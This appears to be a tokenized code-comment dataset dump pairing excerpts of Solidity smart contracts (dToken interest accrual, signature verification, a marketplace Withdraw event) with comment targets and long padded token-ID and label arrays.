cTokenExchangeRate = storedCTokenExchangeRate;
} else {
// Only compute cToken exchange rate if it has not accrued this block.
if (compute) {
// Get current cToken exchange rate; inheriting contract overrides this.
(cTokenExchangeRate,) = _getCurrentCTokenRates();
} else {
// Otherwise, get the stored cToken exchange rate.
cTokenExchangeRate = CTokenInterface(_getCToken()).exchangeRateStored();
}
// Determine the cToken interest earned during the period.
uint256 cTokenInterest = (
(cTokenExchangeRate.mul(_SCALING_FACTOR)).div(storedCTokenExchangeRate)
).sub(_SCALING_FACTOR);
// Calculate dToken exchange rate by applying 90% of the cToken interest.
dTokenExchangeRate = storedDTokenExchangeRate.mul(
_SCALING_FACTOR.add(cTokenInterest.mul(9) / 10)
) / _SCALING_FACTOR;
}
}
/**
* @notice Private view function to get the total surplus, or cToken
* balance that exceeds the total dToken balance.
* @return The total surplus, denominated in both the underlying and in the
* cToken.
*/
function _getSurplus() private view returns (
uint256 underlyingSurplus, uint256 cTokenSurplus
) {
// Instantiate the interface for the backing cToken.
CTokenInterface cToken = CTokenInterface(_getCToken());
(
uint256 dTokenExchangeRate, uint256 cTokenExchangeRate,
) = _getExchangeRates(true);
// Determine value of all issued dTokens in the underlying, rounded up.
uint256 dTokenUnderlying = _toUnderlying(
_totalSupply, dTokenExchangeRate, true
);
// Determine value of all retained cTokens in the underlying, rounded down.
uint256 cTokenUnderlying = _toUnderlying(
cToken.balanceOf(address(this)), cTokenExchangeRate, false
);
// Determine the size of the surplus in terms of underlying amount.
underlyingSurplus = cTokenUnderlying > dTokenUnderlying
? cTokenUnderlying - dTokenUnderlying // overflow checked above
: 0;
// Determine the cToken equivalent of this surplus amount.
cTokenSurplus = underlyingSurplus == 0
? 0
: _fromUnderlying(underlyingSurplus, cTokenExchangeRate, false);
}
/**
* @notice Private view function to get the current dToken and cToken interest
* supply rate per block (multiplied by 10^18).
* @return The current dToken and cToken interest rates.
*/
function _getRatePerBlock() private view returns (
uint256 dTokenSupplyRate, uint256 cTokenSupplyRate
) {
(, cTokenSupplyRate) = _getCurrentCTokenRates();
dTokenSupplyRate = cTokenSupplyRate.mul(9) / 10;
}
/**
* @notice Private view function to determine if a given account has runtime
* code or not - in other words, whether or not a contract is deployed to the
* account in question. Note that contracts that are in the process of being
* deployed will return false on this check.
* @param account address The account to check for contract runtime code.
* @return Whether or not there is contract runtime code at the account.
*/
function _isContract(address account) private view returns (bool isContract) {
uint256 size;
assembly { size := extcodesize(account) }
isContract = size > 0;
}
/**
* @notice Private pure function to verify that a given signature of a digest
* resolves to the supplied account. Any error, including incorrect length,
* malleable signature types, or unsupported `v` values, will cause a revert.
* @param account address The account to validate against.
* @param digest bytes32 The digest to use.
* @param signature bytes The signature to verify.
*/
function _verifyRecover(
address account, bytes32 digest, bytes memory signature
) private pure {
// Ensure the signature length is correct.
require(
signature.length == 65,
"Must supply a single 65-byte signature when owner is not a contract."
);
// Divide the signature in r, s and v variables.
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
require(
uint256(s) <= _MAX_UNMALLEABLE_S,
"Signature `s` value cannot be potentially malleable."
);
require(v == 27 || v == 28, "Signature `v` value not permitted.");
require(account == ecrecover(digest, v, r, s), "Invalid signature.");
}
}
|
* @notice Manually advance the dToken exchange rate and cToken exchange rate to that of the current block. Note that dToken accrual does not trigger cToken accrual - instead, the updated exchange rate will be calculated internally./ Accrue interest on the dToken.
|
function accrueInterest() external {
_accrue(true);
}
| 7,322,197 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
20392,
8660,
3452,
8312,
326,
302,
1345,
7829,
4993,
471,
276,
1345,
7829,
4993,
358,
716,
434,
326,
783,
1203,
18,
3609,
716,
302,
1345,
4078,
86,
1462,
1552,
486,
3080,
276,
1345,
4078,
86,
1462,
300,
3560,
16,
326,
3526,
7829,
4993,
903,
506,
8894,
12963,
18,
19,
15980,
86,
344,
16513,
603,
326,
302,
1345,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
225,
445,
4078,
86,
344,
29281,
1435,
3903,
288,
203,
565,
389,
8981,
86,
344,
12,
3767,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xC0aBdCd8B34C0B28258791726656B390BE7113cA/sources/contracts/marketplace/v2/CentMarketPlaceStorage.sol
|
@notice Emitted on withdrawals from the marketplace contract.
|
event Withdraw();
| 16,508,366 |
[
1,
4625,
348,
7953,
560,
30,
225,
632,
20392,
512,
7948,
603,
598,
9446,
1031,
628,
326,
29917,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
871,
3423,
9446,
5621,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
